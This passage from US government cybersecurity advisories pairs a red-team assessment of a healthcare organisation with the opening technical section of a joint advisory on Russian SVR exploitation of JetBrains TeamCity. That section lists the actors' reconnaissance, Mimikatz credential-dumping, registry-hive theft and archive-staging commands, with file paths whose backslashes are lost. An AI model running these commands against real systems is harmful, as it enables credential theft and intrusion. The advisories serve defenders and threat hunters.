
SMB Signing Not Enabled

High

Penetration Testing

The CISA team identified several systems on the organization’s network that do not enforce SMB signing and exploited this for relayed authentication to obtain cleartext credentials for two domain administrator accounts.

Insecure Default Configuration: Default Credentials

Medium

Web Application Assessment

Many off-the-shelf applications are released with built-in administrative accounts using predefined credentials that can often be found with a simple web search. Malicious actors with minimal technical knowledge can use these credentials to access the related services.

During testing, the CISA team identified multiple web interfaces with default administrator credentials and used default credentials for a printer interface to capture domain credentials of a non-privileged domain account. (See the Attack Path 2 section.)

In addition to the issues listed above, the team identified three High and seven Medium severity findings. These vulnerabilities and misconfigurations may allow a malicious actor to compromise the confidentiality, integrity, and availability of the tested environment. See Table 4 for a list and description of these findings.

Table 4: Additional Key Issues
Issue Severity Service Description

Poor Credential Hygiene: Password Reuse for Administrator and User Accounts

High

Penetration Testing

Elevated password reuse is when an administrator uses the same password for their user and administrator accounts. If the user account password is compromised, it can be used to gain access to the administrative account.

The assessment team identified an instance where the same password was set for an admin user’s administrative account as well as their standard user account.

Poor Credential Hygiene: Password Reuse for Administrator Accounts

Medium

Penetration Testing

If administrator passwords are the same for various administrator accounts, malicious actors can use the password to access all systems that share this credential after compromising one account.

The assessment team found multiple instances of local administrator accounts across various systems using the same password.

Poor Patch Management: Out-of-Date Software

High

Penetration Testing

Patches and updates are released to address existing and emerging security vulnerabilities, and failure to apply the latest leaves systems open to attack with publicly available exploits. (The risk presented by missing patches and updates depends on the severity of the vulnerability).

The assessment team identified several unpatched systems including instances of CVE-2019-0708 (known as “BlueKeep”) and EternalBlue.

The team was unable to successfully compromise the systems with BlueKeep, but they did exploit EternalBlue on a server to implant a shell on a server with local SYSTEM privileges (see the Attack Path 5 section).

Poor Patch Management: Unsupported OS or Application

High

Penetration Testing

Using software or hardware that is no longer supported by the vendor poses a significant security risk because new and existing vulnerabilities are no longer patched). There is no way to address security vulnerabilities on these devices to ensure that they are secure. The overall security posture of the entire network is at risk because an attacker can target these devices to establish an initial foothold into the network.

The assessment team identified end-of-life (EOL) Windows Server 2008 R2 and Windows Server 2008 and Windows 5.1.

Use of Weak Authentication Measures

Medium

Penetration Testing

Applications may have weak or broken mechanisms to verify user identity before granting user access to protected functionalities. Malicious actors can exploit these to bypass authentication and gain access to use application resources and functionality.

The assessment team abused the Cisco Smart Install protocol to obtain configuration files for several Cisco devices on the organization’s network. These files contained encrypted Cisco passwords. (The CISA team was unable to crack these passwords within the assessment timeframe.)

PII Disclosure

Medium

Penetration Testing

The assessment team identified an unencrypted Excel file containing PII on a file share.

Hosts with Unconstrained Delegation Enabled Unnecessarily

Medium

Penetration Testing

The CISA team identified two systems that appeared to be configured with Unconstrained Delegation enabled. Hosts with Unconstrained Delegation enabled store the Kerberos TGTs of all users that authenticate to that host, enabling actors to steal service tickets or compromise krbtgt accounts and perform golden ticket or silver ticket attacks.

Although the assessment team was unable to fully exploit this configuration because they lost access to one of the vulnerable hosts, it could have led to domain compromise under the right circumstances.

Cleartext Password Disclosure

Medium

Penetration Testing

Storing passwords in cleartext is a security risk because malicious actors with access to these files can use them.

The assessment team identified several unencrypted files on a file share containing passwords for various personal and organizational accounts.

Insecure File Shares

Medium

Penetration Testing

Access to sensitive data (e.g., data related to business functions, IT functions, and/or personnel) should be restricted to only certain authenticated and authorized users.

The assessment team found an unsecured directory on a file share with sensitive IT information. The directory was accessible to all users in the domain group. Malicious actors with user privileges could access and/or exfiltrate this data.

Additional Issues

The CISA team identified one Informational severity within the organization’s networks and systems. These issues may allow a malicious actor to compromise the confidentiality, integrity, and availability of the tested environment, but are not readily exploitable. The information provided is to encourage the stakeholder to investigate these issues further to adjust their environments or eliminate certain aspects as needed, but the urgency is low.

Table 5: Informational Issues That CISA Team Noted
Issue Severity Service Description

Overly Permissive Accounts

  Informational

 Penetration Testing

Account privileges are intended to control user access to host or application resources to limit access to sensitive information in support of a least-privilege security model. When user (or other) accounts have high privileges, users can see and/or do things they normally should not, and malicious actors can exploit this to access host and application resources.

The assessment team identified Active Directory objects where the Human Resources group appeared to be part of the privileged Account Operators group. This may have provided elevated privileges to accounts in the Human Resources group. (The CISA team was unable to validate and demonstrate the potential impact of this relationship within the assessment period).

Noted Strengths

The CISA team noted the following business, technical, and administrative components that enhanced the network security posture of the tested environment:

  • The organization’s network was found to have several strong, security-oriented characteristics such as:
    • Effective antivirus software;
    • Endpoint detection and response capabilities;
    • Good policies and best practices for protecting users from malicious files including not allowing users to mount ISO files;
    • Minimal external attack surface, limiting an adversary’s ability to leverage external vulnerabilities to gain initial access to the organization’s networks and systems;
    • Strong wireless protocols;
    • And network segmentation.
  • The organization’s security also demonstrated their ability to detect some of the CISA team’s actions throughout testing and overall situational awareness through the use of logs and alerts.
  • The organization used MFA for cloud accounts. The assessment team obtained cloud credentials via a phishing campaign but was unable to use them because of MFA prompts.

MITIGATIONS

Network Defenders

CISA recommends HPH Sector and other critical infrastructure organizations implement the mitigations in Table 6 to mitigate the issues listed in the Findings section of this advisory. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Table 6: Recommendations to Mitigate Identified Issues
Issue Recommendation

Poor Credential Hygiene: Easily Crackable Passwords

  • Follow National Institute of Standards and Technologies (NIST) guidelines when creating password policies to enforce use of “strong” passwords that cannot be cracked [CPG 2.B].[11] Consider using password managers to generate and store passwords.
  • Use “strong” passphrases for private keys to make cracking resource intensive [CPG 2.B]. Do not store credentials within the registry in Windows systems. Establish an organizational policy that prohibits password storage in files.
  • Ensure adequate password length (ideally 15+ characters) and complexity requirements for Windows service accounts and implement passwords with periodic expiration on these accounts [CPG 2.B]. Use Managed Service Accounts, when possible, to manage service account passwords automatically.

Poor Credential Hygiene: Guessable Credentials

  • Do not reuse local administrator account passwords across systems. Ensure that passwords are “strong” and unique [CPG 2.C].
  • Use phishing-resistant multi-factor authentication (MFA) for all administrative access, including domain administrative access [CPG 2.H]. If an organization that uses mobile push-notification-based MFA is unable to implement phishing-resistant MFA, use number matching to mitigate MFA fatigue. For more information, see CISA fact sheets on Implementing Phishing-Resistant MFA and Implementing Number Matching in MFA Applications.

Misconfigured ADCS Certificate Templates

  • Restrict enrollment rights in templates to only those users or groups that require it. Remove the Enrollee Supplies Subject flag from templates if it is not necessary or enforce manager approval if required. Consider removing Write Owner, Write DACL and Write Property permissions from low-privilege groups, such as Authenticated Users where those permissions are not needed.

Unnecessary Network Services Enabled

  • Ensure that only ports, protocols, and services with validated business needs are running on each system. Disable deprecated protocols (including NetBIOS, LLMNR, and mDNS) on the network that are not strictly necessary for business functions, or limit the systems and services that use the protocol, where possible [CPG 2.W].
  • Disable the WebClient and Spooler services where possible to minimize risk of coerced authentication.
  • Disable ADCS web-enrollment services. If this service cannot be disabled, disable NTLM authentication to prevent malicious actors from performing NTLM relay attacks or abusing the Spooler and WebClient services to coerce and relay authentication to the web-enrollment service.

Elevated Service Account Privileges

  • Run daemon applications using a non-Administrator account when appropriate.
  • Configure Service accounts with only the permissions necessary for the services they operate.
  • To mitigate Kerberoasting attacks, use AES or stronger encryption instead of RC4 for Kerberos hashes [CPG 2.K]. RC4 is considered weak encryption.

SMB Signing Not Enabled

  • Require SMB signing for both SMB client and server on all systems to prevent certain adversary-in-the-middle and pass-the-hash attacks. See Microsoft’s Overview of Server Message Block signing for more information.

Insecure Default Configuration: Default Credentials

  • Verify the implementation of appropriate hardening measures, and change, remove, or deactivate all default credentials [CPG 2.A].
  • Before deploying any new devices in a networked environment, change all default passwords for applications, operating systems, routers, firewalls, wireless access points, and other systems to have values consistent with administration-level accounts [CPG 2.A].

Poor Credential Hygiene: Password Reuse for Administrator and User Accounts

  • Discontinue reuse or sharing of administrative credentials among user/administrative accounts [CPG 2.C].
  • Use unique credentials across workstations, when possible, in accordance with applicable federal standards, industry best practices, and/or agency-defined requirements.
  • Train users, especially privileged users, against password reuse [CPG 2.I].

Poor Credential Hygiene: Password Reuse for Administrator Accounts

  • Discontinue reuse or sharing of administrative credentials among systems [CPG 2.C]. When possible, use unique credentials across all workstations in accordance with applicable federal standards, industry best practices, and/or agency-defined requirements.
  • Implement a security awareness program that focuses on the methods commonly used in intrusions that can be blocked through individual action [CPG 2.I].
  • Implement Local Administrator Password Solution (LAPS) where possible if your OS is older than Windows Server 2019 and Windows 10 as these versions do not have LAPS built in. Note: The authoring organizations recommend organizations upgrade to Windows Server 2019 and Windows 10 or greater.

Poor Patch Management: Out-of-Date Software

  • Enforce consistent patch management across all systems and hosts within the network environment [CPG 1.E].
  • Where patching is not possible due to limitations, implement network segregation controls [CPG 2.F] to limit exposure of the vulnerable system or host.
  • Consider deploying automated patch management tools and software update tools for operating system and software/applications on all systems for which such tools are available and safe.

Poor Patch Management: Unsupported OS or Application

  • Evaluate the use of unsupported hardware and software and discontinue where possible. If discontinuing the use of unsupported hardware and software is not possible, implement additional network protections to mitigate the risk.

Use of Weak Authentication Measures

  • Require phishing-resistant MFA for all user accounts that have access to sensitive data or systems. If MFA is not possible, it is recommended to, at a minimum, configure a more secure password policy by aligning with guidelines put forth by trusted entities such as NIST [CPG 2.H].

PII Disclosure

  • Implement a process to review files and systems for insecure handling of PII [CPG 2.L]. Properly secure or remove the information. Conduct periodic scans of server machines using automated tools to determine whether sensitive data (e.g., personally identifiable information, health, credit card, or classified information) is present on the system in cleartext.
  • Encrypt PII and other sensitive data, and train users who handle sensitive data to utilize best practices for encrypting data and storing it securely. If sensitive data must be stored on shares or other locations, restrict access to these locations as much as possible through access controls and network segmentation [CPG 2.F, 2.K, 2.L].

Hosts with Unconstrained Delegation Enabled Unnecessarily

  • Remove Unconstrained Delegation from all servers. If Unconstrained Delegation functionality is required, upgrade operating systems and applications to leverage other approaches (e.g., configure Constrained Delegation, enable the Account is sensitive and cannot be delegated option) or explore whether systems can be retired or further isolated from the enterprise. CISA recommends Windows Server 2019 or greater.

Cleartext Password Disclosure

  • Implement a review process for files and systems to look for cleartext account credentials. When credentials are found, remove or change them to maintain security [CPG 2.L].
  • Conduct periodic scans of server machines using automated tools to determine whether sensitive data (e.g., personally identifiable information, health, credit card, or classified information) is present on the system in cleartext. Consider implementing a secure password manager solution in cases where passwords need to be stored [CPG 2.L].

Insecure File Shares

  • Restrict access to file shares containing sensitive data to only certain authenticated and authorized users [CPG 2.L].

Additionally, CISA recommends that HPH sector organizations implement the following strategies to mitigate cyber threats:

  • Mitigation Strategy #1 Asset Management and Security:
    • CISA recommends that HPH sector organizations implement and maintain an asset management policy to reduce the risk of exposing vulnerabilities, devices, or services that could be exploited by threat actors to gain unauthorized access, steal sensitive data, or disrupt critical services. The focus areas for this mitigation strategy include asset management and asset security, addressing asset inventory, procurement, decommissioning, and network segmentation as they relate to hardware, software, and data assets.
  • Mitigation Strategy #2 Identity Management and Device Security:
    • CISA recommends entities secure their devices and digital accounts and manage their online access to protect sensitive data and PII/PHI from compromise. The focus areas for this mitigation strategy include email security, phising prevention, access management, password policies, data protection and loss prevention, and device logs and monitoring solutions.
  • Mitigation Strategy #3 Vulnerability, Patch, and Configuration Management:
    • CISA recommends entities mitigate known vulnerabilities and establish secure configuration baselines to reduce the likelihood of threat actors exploiting known vulnerabilities to breach organizational networks. The focus areas for this mitigation strategy include vulnerability and patch Management, and configuration and change management.

For more information on these mitigations strategies, see CISA’s Healthcare and Public Health Sector webpage.

Software Manufacturers

The above mitigations apply to HPH sector and other critical infrastructure organizations with on-premises or hybrid environments. Recognizing that insecure software is the root cause of the majority of these flaws, and that the responsibility should not be on the end user, CISA urges software manufacturers to implement the following to reduce the prevalence of misconfigurations, weak passwords, and other weaknesses identified and exploited through the assessment team:

  • Embed security into product architecture throughout the entire software development lifecycle (SDLC).
  • Eliminate default passwords. Do not provide software with default passwords. To eliminate default passwords, require administrators set a “strong” password [CPG 2.B] during installation and configuration.
  • Create secure configuration templates. Provide configuration templates with certain safe settings based on an organization’s risk appetite (e.g., low, medium, and high security templates). Support these templates with hardening guides based on the risks the manufacturer has identified. The default configuration should be a secure one, and organizations should need to opt in if they desire a less secure configuration.
  • Design products so that the compromise of a single security control does not result in compromise of the entire system. For example, narrowly provision user privileges by default and employ ACLs to reduce the impact of a compromised account. This will make it more difficult for a malicious cyber actor to escalate privileges and move laterally.
  • Mandate MFA, ideally phishing-resistant MFA, for privileged users and make MFA a default, rather than opt-in, feature.

These mitigations align with tactics provided in the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software. CISA urges software manufacturers to take ownership of improving the security outcomes of their customers by applying these and other secure by design tactics. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing security software and logs, monitoring, and making routine updates.

For more information on secure by design, see CISA’s Secure by Design webpage. For more information on common misconfigurations and guidance on reducing their prevalence, see the joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations.

VALIDATE SECURITY CONTROLS

In addition to applying the listed mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Tables 7 – 16).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

REFERENCES

[1]   Github | kgretzky / evilginx
[2]   Github | lgandx / Responder
[3]   Network security LAN Manager authentication level – Windows Security | Microsoft Learn
[4]   Service principal names – Win32 apps | Microsoft Learn
[5]   Github | fortra / impacket
6]   Github | byt3bl33d3r / CrackMapExec
[7]   Github | ly4k / Certipy
[8]   Github | topotam / PetitPotam
[9]   Github | fortra / impacket / examples
[10] Github | login-securite / DonPAPI
[11] SP 800-63B, Digital Identity Guidelines: Authentication and Lifecycle Management | CSRC (nist.gov)

APPENDIX: MITRE ATT&CK TACTICS AND TECHNIQUES

Table 7: CISA Team ATT&CK Techniques for Reconnaissance

Reconnaissance

   

Technique Title

ID

Use

Active Scanning: Scanning IP Blocks

T1595.001

The CISA team first mapped the network to identify open web ports.

Table 8: CISA Team ATT&CK Techniques for Initial Access

Initial Access

   

Technique Title

ID

Use

Valid Accounts: Default Accounts

T1078.001

The CISA team did identify default credentials for multiple web interfaces during web application testing and used default printer credentials while penetration testing.

External Remote Services

T1133

The CISA team attempted to access various web interfaces with default administrator credentials.

Table 9: CISA Team ATT&CK Techniques for Execution

Execution

   

Technique Title

ID

Use

Command-Line Interface

T1059

The CISA team accessed a virtual machine interface enabling them to modify, power off, and/or delete critical virtual machines including domain controllers, file servers, and servers.

Command and Scripting Interpreter: Windows Command Shell

T1059.003

The CISA team used a webshell that allowed them to execute commands under the context of the local SYSTEM account.

Table 10: CISA Team ATT&CK Techniques for Privilege Escalation

Privilege Escalation

   

Technique Title

ID

Use

Valid Accounts: Domain Accounts

T1078.002

The CISA team used CrackMapExec to use ACCOUNT 1 to successfully connect to a domain controller (DC).

Table 11: CISA Team ATT&CK Techniques for Defense Evasion

Defense Evasion

   

Technique Title

ID

Use

Use Alternate Authentication Material

T1550

The CISA team authenticated to the domain controller as ACCOUNT 3 with the generated certificate.

Table 12: CISA Team ATT&CK Techniques for Credential Access

Credential Access

   

Technique Title

ID

Use

LLMNR/NBT-NS Poisoning and Relay

T1557.001

The CISA team initiated a LLMNR/NBT-NS/mDNS/DHCP poisoning tool to spoof a connection to the organization’s server for forced access.

Brute Force: Password Cracking

T1110.002

The CISA team cracked a service account with a weak password, giving them access to it.

Steal or Forge Kerberos Tickets: Kerberoasting

T1558.003

The CISA team gained access to domain accounts because any domain user can request a TGS ticket for domain accounts.

Adversary-in-the-Middle

T1557

The CISA team modified the “Save as file” configuration, to use File Transfer Protocol (FTP) instead of Server Message Block (SMB) and changed the Server Name and Network Path to point to a CISA-controlled machine running Responder.

Forced Authentication

T1187

The CISA team executed a “Connection Test” that sent the username and password over FTP.

Steal or Forge Authentication Certificates

T1649

The CISA team used Certipy to enumerate the ADCS certificate template vulnerabilities, allowing them to obtain certificates for different users.

OS Credential Dumping

T1003

The CISA team retrieved the NTLM hash for ACCOUNT 3.

Use Alternate Authentication Material: Pass the Hash

T1550.002

The CISA team used the hash to authenticate to the domain controller and validated Domain Administrator privileges, demonstrating compromise of the domain.

Brute Force: Password Spraying

T1110.003

The CISA team used a tool called CrackMapExec to spray easily guessable passwords across all domain accounts, giving them two sets of valid credentials.

Steal or Forge Kerberos Tickets

T1558

The CISA team used this certificate to acquire a TGT for ACCOUNT 5.

OS Credential Dumping: DCSync

T1003.006

The CISA team used DCSync to dump the NTLM hash for ACCOUNT 3 (a Domain Administrator account), effectively leading to domain compromise.

OS Credential Dumping: Security Account Manager

T1003.002

The CISA team dumped password hashes from a Security Account Manager (SAM) database.

Table 13: CISA Team ATT&CK Techniques for Discovery

Discovery

   

Technique Title

ID

Use

Network Sniffing

T1040

The CISA team spoofed a response to direct the victim host to a CISA-controlled machine on which Responder is running. 

Account Discovery: Domain Account

T1087.002

The CISA team enumerated accounts with a Service Principal Name (SPN) set with their domain access.

Network Service Scanning

T1046

The CISA team canned the organization’s network to identify open web ports to see where they could leverage the default credentials they had.

Table 14: CISA Team ATT&CK Techniques for Lateral Movement

Lateral Movement

   

Technique Title

ID

Use

Remote Services

T1021

The CISA team exploited its Responder to perform malicious functions, such as stealing credentials or opening a session on a targeted host.

 SMB/Windows Admin Shares

T1021.002

The CISA team confirmed they compromised the domain because ACCOUNT 1 had READ,WRITE permissions over the C$ administrative share.

Taint Shared Content

T1080

The CISA team found the device was configured with domain credentials to allow employees to save scanned documents to a network share.

Exploitation of Remote Services

T1210

The CISA team then executed a well-known EternalBlue exploit and established a shell on the server.

Table 15: CISA Team ATT&CK Techniques for Collection

Collection

   

Technique Title

ID

Use

Data from Network Shared Drive

T1039

The CISA team obtained credentials for cleartext, hashes, and from files.

Table 16: CISA Team ATT&CK Techniques for Impact

Collection

   

Technique Title

ID

Use

System Shutdown/Reboot

T1529

The CISA team assessed that with ACCOUNT 1, they could use it to modify, power off, and/or delete critical virtual machines, including domain controllers and file servers.

VERSION HISTORY

December 14, 2023: Initial version.

Russian Foreign Intelligence Service (SVR) Exploiting JetBrains TeamCity CVE Globally

Source: US Department of Homeland Security

SUMMARY

The U.S. Federal Bureau of Investigation (FBI), U.S. Cybersecurity & Infrastructure Security Agency (CISA), U.S. National Security Agency (NSA), Polish Military Counterintelligence Service (SKW), CERT Polska (CERT.PL), and the UK’s National Cyber Security Centre (NCSC) assess Russian Foreign Intelligence Service (SVR) cyber actors—also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard—are exploiting CVE-2023-42793 at a large scale, targeting servers hosting JetBrains TeamCity software since September 2023.

Software developers use TeamCity software to manage and automate software compilation, building, testing, and releasing. If compromised, access to a TeamCity server would provide malicious actors with access to that software developer’s source code, signing certificates, and the ability to subvert software compilation and deployment processes—access a malicious actor could further use to conduct supply chain operations. Although the SVR used such access to compromise SolarWinds and its customers in 2020, limited number and seemingly opportunistic types of victims currently identified, indicate that the SVR has not used the access afforded by the TeamCity CVE in a similar manner. The SVR has, however, been observed using the initial access gleaned by exploiting the TeamCity CVE to escalate its privileges, move laterally, deploy additional backdoors, and take other steps to ensure persistent and long-term access to the compromised network environments.

To bring Russia’s actions to public attention, the authoring agencies are providing information on the SVR’s most recent compromise to aid organizations in conducting their own investigations and securing their networks, provide compromised entities with actionable indicators of compromise (IOCs), and empower private sector cybersecurity companies to better detect and counter the SVR’s malicious actions. The authoring agencies recommend all organizations with affected systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities using the IOCs provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA and report key findings to the FBI and CISA.

Download the PDF version of this report:

THREAT OVERVIEW

SVR cyber operations pose a persistent threat to public and private organizations’ networks globally. Since 2013, cybersecurity companies and governments have reported on SVR operations targeting victim networks to steal confidential and proprietary information. A decade later, the authoring agencies can infer a long-term targeting pattern aimed at collecting, and enabling the collection of, foreign intelligence, a broad concept that for Russia encompasses information on the politics, economics, and military of foreign states; science and technology; and foreign counterintelligence. The SVR also conducts cyber operations targeting technology companies that enable future cyber operations.

A decade ago, public reports about SVR cyber activity focused largely on the SVR’s spear phishing operations, targeting government agencies, think tanks and policy analysis organizations, educational institutions, and political organizations. This category of targeting is consistent with the SVR’s responsibility to collect political intelligence, the collection of which has long been the SVR’s highest priority. For the Russian Government, political intelligence includes not only the development and execution of foreign policies, but also the development and execution of domestic policies and the political processes that drive them. In December 2016, the U.S. Government published a Joint Analysis Report titled “GRIZZLY STEPPE – Russian Malicious Cyber Activity,” which describes the SVR’s compromise of a U.S. political party leading up to a presidential election. The SVR’s use of spear phishing operations are visible today in its ongoing Diplomatic Orbiter campaign, primarily targeting diplomatic agencies. In 2023, SKW and CERT.PL published a Joint Analysis Report describing tools and techniques used by the SVR to target embassies in dozens of countries.

Less frequently, reporting on SVR cyber activity has addressed other aspects of the SVR’s foreign intelligence collection mission. In July 2020, U.S., U.K., and Canadian Governments jointly published an advisory revealing the SVR’s exploitation of CVEs to gain initial access to networks, and its deployment of custom malware known as WellMess, WellMail, and Sorefang to target organizations involved in COVID-19 vaccine development. Although not listed in the 2020 advisory did not mention it, the authoring agencies can now disclose that the SVR’s WellMess campaign also targeted energy companies. Such biomedical and energy targets are consistent with the SVR’s responsibility to support the Russian economy by pursuing two categories of foreign intelligence known as economic intelligence and science and technology.

In April 2021, the U.S. Government attributed a supply chain operation targeting the SolarWinds information technology company and its customers to the SVR. This attribution marked the discovery that the SVR had, since at least 2018, expanded the range of its cyber operations to include the widespread targeting of information technology companies. At least some of this targeting was aimed at enabling additional cyber operations. Following this attribution, the U.S. and U.K. Governments published advisories highlighting additional SVR TTPs, including its exploitation of various CVEs, the SVR’s use of “low and slow” password spraying techniques to gain initial access to some victims’ networks, exploitation of a zero-day exploit, and exploitation of Microsoft 365 cloud environments.

In this newly attributed operation targeting networks hosting TeamCity servers, the SVR demonstrably continues its practice of targeting technology companies. By choosing to exploit CVE-2023-42793, a software development program, the authoring agencies assess the SVR could benefit from access to victims, particularly by allowing the threat actors to compromise the networks of dozens of software developers. JetBrains issued a patch for this CVE in mid-September 2023, limiting the SVR’s operation to the exploitation of unpatched, Internet-reachable TeamCity servers. While the authoring agencies assess the SVR has not yet used its accesses to software developers to access customer networks and is likely still in the preparatory phase of its operation, having access to these companies’ networks presents the SVR with opportunities to enable hard-to- detect command and control (C2) infrastructure.

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool. While SVR followed a similar playbook in each compromise, they also adjusted to each operating environment and not all presented steps or actions below were executed on every host.

Initial Access – Exploitation

The SVR started to exploit Internet-connected JetBrains TeamCity servers [T1190] in late September 2023 using CVE-2023-42793, which enables the insecure handling of specific paths allowing for bypassing authorization, resulting in arbitrary code execution on the server. The authoring agencies’ observations show that the TeamCity exploitation usually resulted in code execution [T1203] with high privileges [T1203] granting the SVR an advantageous foothold in the network environment. The authoring agencies are not currently aware of any other initial access vector to JetBrains TeamCity currently being exploited by the SVR.

Host Reconnaissance

Initial observations show the SVR used the following basic, built-in commands to perform host reconnaissance [T1033],[T1059.003],[T1592.002]:

  • whoami /priv
  • whoami /all
  • whoami /groups
  • whoami /domain
  • nltest -dclist
  • nltest -dsgetdc
  • tasklist
  • netstat
  • wmic /node:””“” /user:””“” /password:””“” process list brief
  • wmic /node:””“” process list brief
  • wmic process get commandline -all
  • wmic process get commandline
  • wmic process where name=””GoogleCrashHandler64.exe”” get commandline,processed
  • powershell ([adsisearcher]”((samaccountname=))”).Findall().Properties
  • powershell ([adsisearcher]”((samaccountname=))”).Findall().Properties.memberof
  • powershell Get-WmiObject -Class Win32_Service -Computername
  • powershell Get-WindowsDriver -Online -All

File Exfiltration

Additionally, the authoring agencies have observed the SVR exfiltrating files [T1041] which may provide insight into the host system’s operating system:

  • C:Windowssystem32ntoskrnl.exe [T1547] – to precisely identify system version, likely as a prerequisite to deploy EDRSandBlast.
  • SQL Server executable files – based on the review of the post exploitation actions, the SVR showed an interest in specific files of the SQL Server installed on the compromised systems:
    • C:Program FilesMicrosoft SQL ServerMSSQL14.MSSQLSERVERMSSQLBinnsqlmin.dll,
    • C:Program FilesMicrosoft SQL ServerMSSQL14.MSSQLSERVERMSSQLBinnsqllos.dll,
    • C:Program FilesMicrosoft SQL ServerMSSQL14.MSSQLSERVERMSSQLBinnsqllang.dll,
    • C:Program FilesMicrosoft SQL ServerMSSQL14.MSSQLSERVERMSSQLBinnsqltses.dll
    • C:Program FilesMicrosoft SQL ServerMSSQL14.MSSQLSERVERMSSQLBinnsecforwarder.dll
  • Visual Studio files – based on the review of the post exploitation actions, the SVR showed an interest in specific files of the Visual Studio:
    • C:Program Files (x86)Microsoft Visual Studio2017SQLCommon7IDEVSIXAutoUpdate.exe
    • Update management agent files – based on the review of the post exploitation actions, the SVR showed an interest in executables and configuration of patch management software:
      • C:Program Files (x86)PatchManagementInstallationAgent12Httpdbinhttpd.exe
      • C:Program Files (x86)PatchManagementInstallationAgent12Httpd
      • C:ProgramDataGFILanGuard 12HttpdConfighttpd.conf

Interest in SQL Server

Based on the review of the exploitation, the SVR also showed an interest in details of the SQL Server [T1059.001],[T1505.001]:

  • powershell Compress-Archive -Path “C:Program FilesMicrosoft SQL ServerMSSQL14.MSSQLSERVERMSSQLBinnsqlmin.dll”,”C:Program FilesMicrosoft SQL ServerMSSQL14.MSSQLSERVERMSSQLBinnsqllos.dll”,”C:Program FilesMicrosoft SQL ServerMSSQL14.MSSQLSERVERMSSQLBinnsqllang.dll”,”C:Program FilesMicrosoft SQL ServerMSSQL14.MSSQLSERVERMSSQLBinnsqltses.dll” -DestinationPath C:Windowstemp1sql.zip
  • SVR cyber actors also exfiltrated secforwarder.dll

Tactics Used to Avoid Detection

To avoid detection, the SVR used a “Bring Your Own Vulnerable Driver” [T1068] technique to disable or outright kill endpoint detection and response (EDR) and antivirus (AV) software. [T1562.001]  

This was done using an open source project called “EDRSandBlast.” The authoring agencies have observed the SVR using EDRSandBlast to remove protected process light (PPL) protection, which is used for controlling and protecting running processes and protecting them from infection. The actors then inject code into AV/EDR processes for a small subset of victims [T1068]. Additionally, executables that are likely to be detected (i.e. Mimikatz) were executed in memory [T1003.001].

In several cases SVR attempted to hide their backdoors via:

  • Abusing a DLL hijacking vulnerability in Zabbix software by replacing a legitimate Zabbix DLL with their one containing GraphicalProton backdoor,
  • Backdooring an open source application developed by Microsoft named vcperf. SVR modified and copied publicly available sourcecode. After execution, backdoored vcperf dropped several DLLs to disc, one of those being a GraphicalProton backdoor,
  • Abusing a DLL hijacking vulnerability in Webroot antivirus software by replacing a legitimate DLL with one containing GraphicalProton backdoor.

To avoid detection by network monitoring, the SVR devised a covert C2 channel that used Microsoft OneDrive and Dropbox cloud services. To further enable obfuscation, data exchanged with malware via OneDrive and Dropbox were hidden inside randomly generated BMP files [T1564], illustrated below:

Privilege Escalation

To facilitate privilege escalation [T1098], the SVR used multiple techniques, including WinPEAS, NoLmHash registry key modification, and the Mimikatz tool.

The SVR modified the NoLMHash registry using the following reg command:

  • reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa /v NoLmHash /t REG_DWORD /d “0” /f

The SVR used the following Mimikatz commands [T1003]:

  • privilege::debug
  • lsadump::cache
  • lsadump::secrets
  • lsadump::sam
  • sekurlsa::logonpasswords

Persistence

The SVR relied on scheduled tasks [T1053.005] to secure persistent execution of backdoors. Depending on the privileges the SVR had, their executables were stored in one of following directories:

  • C:Windowstemp
  • C:WindowsSystem32
  • C:WindowsWinStore

The SVR made all modifications using the schtasks.exe binary. It then had multiple variants of arguments passed to schtasks.exe, which can be found in Appendix B – Indicators of Compromise.

To secure long-term access to the environment, the SVR used the Rubeus toolkit to craft Ticket Granting Tickets (TGTs) [T1558.001].

Sensitive Data Exfiltration [T1020]

The SVR exfiltrated the following Windows Registry hives from its victims [T1003]:

  • HKLMSYSTEM
  • HKLMSAM
  • HKLMSECURITY

In order to exfiltrate Windows Registry, the SVR saved hives into files [T1003.002], packed them, and then exfiltrated them using a backdoor capability. it used “reg save” to save SYSTEM, SAM and SECURITY registry hives, and used powershell to stage .zip archives in the C:WindowsTemp directory.

  • reg save HKLMSYSTEM “”C:Windowstemp1sy.sa”” /y
  • reg save HKLMSAM “”C:Windowstemp1sam.sa”” /y
  • reg save HKLMSECURITY “”C:Windowstemp1se.sa”” /y
  • powershell Compress-Archive -Path C:Windowstemp1 -DestinationPath C:Windowstemps.zip -Force & del C:Windowstemp1 /F /Q

In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such as session cookies, browsing history, or saved logins.

SVR also used DSInternals open source tool to interact with Directory Services. DSInternals allows to obtain a sensitive Domain information.

Network Reconnaissance

